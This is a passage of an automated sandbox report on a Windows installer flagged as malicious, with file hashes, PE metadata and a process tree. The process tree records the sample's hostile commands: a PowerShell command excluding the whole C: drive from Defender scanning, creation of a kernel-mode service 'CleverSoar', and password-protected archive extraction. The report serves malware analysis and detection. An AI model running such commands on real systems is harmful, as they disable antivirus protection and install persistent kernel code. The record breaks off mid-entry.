                            File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                            Category:dropped
                            Size (bytes):3606016
                            Entropy (8bit):7.0063494494702985
                            Encrypted:false
                            SSDEEP:49152:/MifTj964EMRY42Kgq7eJEJqx2dhZe71MzuiehWIKxZfAtbyBSfbZmSKiyQF:/M+jcZ42KXw2dhZe71MzSRFyBSDH
                            MD5:95ACD5631A9131DB1FD066565AFC9A67
                            SHA1:8E9473BD632FF0F57FC34EECAC17174341D80D94
                            SHA-256:EA6B71519CD54AB523B822F84D5D4E5B305214DA4C37E96A02D8BC1CB182F58B
                            SHA-512:70188E7AD6B0D9DA5E88EEFC6095F99066F73FDAB10F084E3F2F96B30D8A717BAE75E9C1B476FB996BC86B9A753AAF26F96024D0068090B437EACE6E5BE35681
                            Malicious:true
                            Antivirus:
                            • Antivirus: ReversingLabs, Detection: 24%
                            Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Fig...........!.....h....................................................7...........@.........................XC.......J..<....07.X....................@7..?...................................................K...............................text....f.......h.................. ..`.rdata..T............l..............@..@.data................b..............@....00cfg.......`(......"(.............@..@.tls.........p(......$(.............@....voltbl.F.....(......&(..................#.q....P.....(......((............. ..`.rsrc...X....07.......6.............@..@.reloc...?...@7..@....6.............@..B................................................................................................................................................................................................................................................................................

                            \Device\ConDrv

                            Download File
                            Process:C:\Program Files (x86)\Windows NT\7zr.exe
                            File Type:ASCII text, with CRLF, CR line terminators
                            Category:dropped
                            Size (bytes):406
                            Entropy (8bit):5.117520345541057
                            Encrypted:false
                            SSDEEP:6:AMpUMcvtFHcAxXF2SaioBGWOSTIPAiTVHsCgN/J2+ebVcdsvUGrFfpap1tNSK6n:pCXVZRwXkWDThGHs/JldsvhJA1tNS9n
                            MD5:9200058492BCA8F9D88B4877F842C148
                            SHA1:EED69748A26CFAF769EF589F395A162E87005B36
                            SHA-256:BAFB8C87BCB80E77FF659D7B8152145866D8BD67D202624515721CBF38BA8745
                            SHA-512:312AB0CBA3151B3CE424198C0855EEE39CC06FC8271E3D49134F00D7E09407964F31D3107169479CE4F8FD85D20BBD3F5309D3052849021954CD46A0B723F2A9
                            Malicious:false
                            Preview:..7-Zip (a) 23.01 (x86) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20....Scanning the drive for archives:.. 0M Scan. .1 file, 31890 bytes (32 KiB)....Extracting archive: locale3.dat..--..Path = locale3.dat..Type = 7z..Physical Size = 31890..Headers Size = 354..Method = LZMA2:16 LZMA:16 BCJ2 7zAES..Solid = -..Blocks = 1.... 0%. .Everything is Ok....Size: 63640..Compressed: 31890..

                            Static File Info

                            General

                            File type:PE32 executable (GUI) Intel 80386, for MS Windows
                            Entropy (8bit):7.929735641736926
                            TrID:
                            • Win32 Executable (generic) a (10002005/4) 98.04%
                            • Inno Setup installer (109748/4) 1.08%
                            • InstallShield setup (43055/19) 0.42%
                            • Win32 EXE PECompact compressed (generic) (41571/9) 0.41%
                            • Win16/32 Executable Delphi generic (2074/23) 0.02%
                            File name:#U5b89#U88c5#U52a9#U624b2.0.4.exe
                            File size:6'130'073 bytes
                            MD5:824d18101868c00261fd732e2e713fa6
                            SHA1:04df8109561e9a1aed04fa7ed7d4b3c931bde5c7
                            SHA256:2e5c530decd37133e50f6b149f634973e54cf555abcb309e829a3e8dcd223724
                            SHA512:e46b38c9686166825c2b9c181dd6367d71dd43efc1cd6787365b31efbd3d30485bb9af4309ef6282944012c4e13deaafb5615b05ee51696a5e5e4591b1f6997b
                            SSDEEP:98304:XwREyCzROurNY2vz6L0BKz3tuUqNCP3vqUN/0HQL1mdruCXTTYE/t9+dMwZg6:lykdrNYu6QBKxONOvqUNn1UuusE/t9kn
                            TLSH:A3561222F2C7E03EE05D0B3706B2A55494FB6A256923AE5796ECB4ECCF350601D3E257
                            File Content Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

                            File Icon

                            Icon Hash:0c0c2d33ceec80aa

                            Static PE Info

                            General

                            Entrypoint:0x4a83bc
                            Entrypoint Section:.itext
                            Digitally signed:false
                            Imagebase:0x400000
                            Subsystem:windows gui
                            Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                            Time Stamp:0x6690DABD [Fri Jul 12 07:26:53 2024 UTC]
                            TLS Callbacks:
                            CLR (.Net) Version:
                            OS Version Major:6
                            OS Version Minor:1
                            File Version Major:6
                            File Version Minor:1
                            Subsystem Version Major:6
                            Subsystem Version Minor:1
                            Import Hash:40ab50289f7ef5fae60801f88d4541fc

                            Entrypoint Preview

                            Instruction
                            push ebp
                            mov ebp, esp
                            add esp, FFFFFFA4h
                            push ebx
                            push esi
                            push edi
                            xor eax, eax
                            mov dword ptr [ebp-3Ch], eax
                            mov dword ptr [ebp-40h], eax
                            mov dword ptr [ebp-5Ch], eax
                            mov dword ptr [ebp-30h], eax
                            mov dword ptr [ebp-38h], eax
                            mov dword ptr [ebp-34h], eax
                            mov dword ptr [ebp-2Ch], eax
                            mov dword ptr [ebp-28h], eax
                            mov dword ptr [ebp-14h], eax
                            mov eax, 004A2EBCh
                            call 00007FC3F4762235h
                            xor eax, eax
                            push ebp
                            push 004A8AC1h
                            push dword ptr fs:[eax]
                            mov dword ptr fs:[eax], esp
                            xor edx, edx
                            push ebp
                            push 004A8A7Bh
                            push dword ptr fs:[edx]
                            mov dword ptr fs:[edx], esp
                            mov eax, dword ptr [004B0634h]
                            call 00007FC3F47F3BBBh
                            call 00007FC3F47F370Eh
                            lea edx, dword ptr [ebp-14h]
                            xor eax, eax
                            call 00007FC3F47EE3E8h
                            mov edx, dword ptr [ebp-14h]
                            mov eax, 004B41F4h
                            call 00007FC3F475C2E3h
                            push 00000002h
                            push 00000000h
                            push 00000001h
                            mov ecx, dword ptr [004B41F4h]
                            mov dl, 01h
                            mov eax, dword ptr [0049CD14h]
                            call 00007FC3F47EF713h
                            mov dword ptr [004B41F8h], eax
                            xor edx, edx
                            push ebp
                            push 004A8A27h
                            push dword ptr fs:[edx]
                            mov dword ptr fs:[edx], esp
                            call 00007FC3F47F3C43h
                            mov dword ptr [004B4200h], eax
                            mov eax, dword ptr [004B4200h]
                            cmp dword ptr [eax+0Ch], 01h
                            jne 00007FC3F47FA92Ah
                            mov eax, dword ptr [004B4200h]
                            mov edx, 00000028h
                            call 00007FC3F47F0008h
                            mov edx, dword ptr [004B4200h]

                            Data Directories

                            NameVirtual AddressVirtual Size Is in Section
                            IMAGE_DIRECTORY_ENTRY_EXPORT0xb70000x71.edata
                            IMAGE_DIRECTORY_ENTRY_IMPORT0xb50000xfec.idata
                            IMAGE_DIRECTORY_ENTRY_RESOURCE0xcb0000x11000.rsrc
                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                            IMAGE_DIRECTORY_ENTRY_BASERELOC0xba0000x10fa8.reloc
                            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                            IMAGE_DIRECTORY_ENTRY_TLS0xb90000x18.rdata
                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                            IMAGE_DIRECTORY_ENTRY_IAT0xb52d40x25c.idata
                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0xb60000x1a4.didata
                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                            Sections

                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                            .text0x10000xa568c0xa5800b889d302f6fc48a904de33d8d947ae80False0.3620185045317221data6.377190161826806IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                            .itext0xa70000x1b640x1c00588dd0a8ab499300d3701cbd11b017d9False0.548828125data6.109264411030635IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                            .data0xa90000x38380x3a005c0c76e77aef52ebc6702430837ccb6eFalse0.35338092672413796data4.95916338709992IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            .bss0xad0000x72580x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            .idata0xb50000xfec0x1000627340dff539ef99048969aa4824fb2dFalse0.380615234375data5.020404933181373IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            .didata0xb60000x1a40x200fd11c1109737963cc6cb7258063abfd6False0.34765625data2.729290535217263IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            .edata0xb70000x710x2007de8ca0c7a61668a728fd3a88dc0942dFalse0.1796875data1.305578535725827IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                            .tls0xb80000x180x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            .rdata0xb90000x5d0x200d84006640084dc9f74a07c2ff9c7d656False0.189453125data1.3892750148744617IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                            .reloc0xba0000x10fa80x11000a85fda2741bd9417695daa5fc5a9d7a5False0.5789579503676471data6.709466460182023IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
                            .rsrc0xcb0000x110000x1100083b103c4b8d25647aa6c77f46a91d41cFalse0.18768669577205882data3.722817808854048IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                            Resources

                            NameRVASizeTypeLanguageCountryZLIB Complexity
                            RT_ICON0xcb6780xa68Device independent bitmap graphic, 64 x 128 x 4, image size 2048EnglishUnited States0.1174924924924925
                            RT_ICON0xcc0e00x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishUnited States0.15792682926829268
                            RT_ICON0xcc7480x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishUnited States0.23387096774193547
                            RT_ICON0xcca300x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishUnited States0.39864864864864863
                            RT_ICON0xccb580x1628Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colorsEnglishUnited States0.08339210155148095
                            RT_ICON0xce1800xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishUnited States0.1023454157782516
                            RT_ICON0xcf0280x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishUnited States0.10649819494584838
                            RT_ICON0xcf8d00x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishUnited States0.10838150289017341
                            RT_ICON0xcfe380x12e5PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.8712011577424024
                            RT_ICON0xd11200x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16896EnglishUnited States0.05668398677373642
                            RT_ICON0xd53480x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishUnited States0.08475103734439834
                            RT_ICON0xd78f00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States0.09920262664165103
                            RT_ICON0xd89980x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishUnited States0.2047872340425532
                            RT_STRING0xd8e000x3f8data0.3198818897637795
                            RT_STRING0xd91f80x2dcdata0.36475409836065575
                            RT_STRING0xd94d40x430data0.40578358208955223
                            RT_STRING0xd99040x44cdata0.38636363636363635
                            RT_STRING0xd9d500x2d4data0.39226519337016574
                            RT_STRING0xda0240xb8data0.6467391304347826
                            RT_STRING0xda0dc0x9cdata0.6410256410256411
                            RT_STRING0xda1780x374data0.4230769230769231
                            RT_STRING0xda4ec0x398data0.3358695652173913
                            RT_STRING0xda8840x368data0.3795871559633027
                            RT_STRING0xdabec0x2a4data0.4275147928994083
                            RT_RCDATA0xdae900x10data1.5
                            RT_RCDATA0xdaea00x310data0.6173469387755102
                            RT_RCDATA0xdb1b00x2cdata1.2045454545454546
                            RT_GROUP_ICON0xdb1dc0xbcdataEnglishUnited States0.6170212765957447
                            RT_VERSION0xdb2980x584dataEnglishUnited States0.2776203966005666
                            RT_MANIFEST0xdb81c0x7a8XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.3377551020408163

                            Imports

                            DLLImport
                            kernel32.dllGetACP, GetExitCodeProcess, CloseHandle, LocalFree, SizeofResource, VirtualProtect, QueryPerformanceFrequency, VirtualFree, GetFullPathNameW, GetProcessHeap, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVolumeInformationW, GetVersion, GetDriveTypeW, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetCommandLineW, GetSystemInfo, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, LCMapStringW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
                            comctl32.dllInitCommonControls
                            user32.dllCreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
                            oleaut32.dllSysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
                            advapi32.dllConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, AdjustTokenPrivileges, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, EqualSid, RegQueryValueExW, GetTokenInformation, ConvertSidToStringSidW, RegCloseKey

                            Exports

                            NameOrdinalAddress
                            __dbk_fcall_wrapper20x40fc10
                            dbkFCallWrapperAddr10x4b063c

                            Possible Origin

                            Language of compilation systemCountry where language is spokenMap
                            EnglishUnited States

                            Network Behavior

                            ⊘No network behavior found

                            Statistics

                            CPU Usage

                            Click to jump to process

                            Memory Usage

                            Click to jump to process

                            High Level Behavior Distribution

                            Click to dive into process behavior distribution

                            Behavior

                            Click to jump to process

                            System Behavior

                            General

                            Target ID:0
                            Start time:07:02:05
                            Start date:24/12/2024
                            Path:C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe"
                            Imagebase:0xb0000
                            File size:6'130'073 bytes
                            MD5 hash:824D18101868C00261FD732E2E713FA6
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:Borland Delphi
                            Reputation:low
                            Has exited:true

                            General

                            Target ID:2
                            Start time:07:02:06
                            Start date:24/12/2024
                            Path:C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            Wow64 process (32bit):true
                            Commandline:"C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp" /SL5="$1042C,5175725,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe"
                            Imagebase:0xe70000
                            File size:3'366'912 bytes
                            MD5 hash:5F1FEB7EA510D8FB9A35D5802519EBDB
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:Borland Delphi
                            Reputation:low
                            Has exited:true

                            General

                            Target ID:3
                            Start time:07:02:06
                            Start date:24/12/2024
                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):false
                            Commandline:"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
                            Imagebase:0x7ff6cb6b0000
                            File size:452'608 bytes
                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:4
                            Start time:07:02:06
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:5
                            Start time:07:02:07
                            Start date:24/12/2024
                            Path:C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" /VERYSILENT
                            Imagebase:0xb0000
                            File size:6'130'073 bytes
                            MD5 hash:824D18101868C00261FD732E2E713FA6
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:Borland Delphi
                            Reputation:low
                            Has exited:false

                            General

                            Target ID:6
                            Start time:07:02:08
                            Start date:24/12/2024
                            Path:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            Wow64 process (32bit):true
                            Commandline:"C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp" /SL5="$2044A,5175725,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" /VERYSILENT
                            Imagebase:0x250000
                            File size:3'366'912 bytes
                            MD5 hash:5F1FEB7EA510D8FB9A35D5802519EBDB
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:Borland Delphi
                            Reputation:low
                            Has exited:true

                            General

                            Target ID:7
                            Start time:07:02:10
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:8
                            Start time:07:02:10
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:9
                            Start time:07:02:10
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:10
                            Start time:07:02:10
                            Start date:24/12/2024
                            Path:C:\Program Files (x86)\Windows NT\7zr.exe
                            Wow64 process (32bit):true
                            Commandline:7zr.exe x -y res.dat -pad8dtyw9eyfd9aslyd9iald
                            Imagebase:0x850000
                            File size:831'200 bytes
                            MD5 hash:84DC4B92D860E8AEA55D12B1E87EA108
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Antivirus matches:
                            • Detection: 0%, ReversingLabs
                            Reputation:moderate
                            Has exited:true

                            General

                            Target ID:11
                            Start time:07:02:10
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:12
                            Start time:07:02:11
                            Start date:24/12/2024
                            Path:C:\Program Files (x86)\Windows NT\7zr.exe
                            Wow64 process (32bit):true
                            Commandline:7zr.exe x -y locale3.dat -pasfasdf79yf9layslofs
                            Imagebase:0x850000
                            File size:831'200 bytes
                            MD5 hash:84DC4B92D860E8AEA55D12B1E87EA108
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:moderate
                            Has exited:true

                            General

                            Target ID:13
                            Start time:07:02:11
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:14
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:15
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:16
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:17
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:18
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:19
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:20
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:21
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:22
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:23
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:24
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:25
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:26
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:27
                            Start time:07:02:13
                            Start date:24/12/2024
                            Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                            Imagebase:0x7ff605670000
                            File size:496'640 bytes
                            MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                            Has elevated privileges:true
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Has exited:false

                            General

                            Target ID:28
                            Start time:07:02:12
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:29
                            Start time:07:02:13
                            Start date:24/12/2024
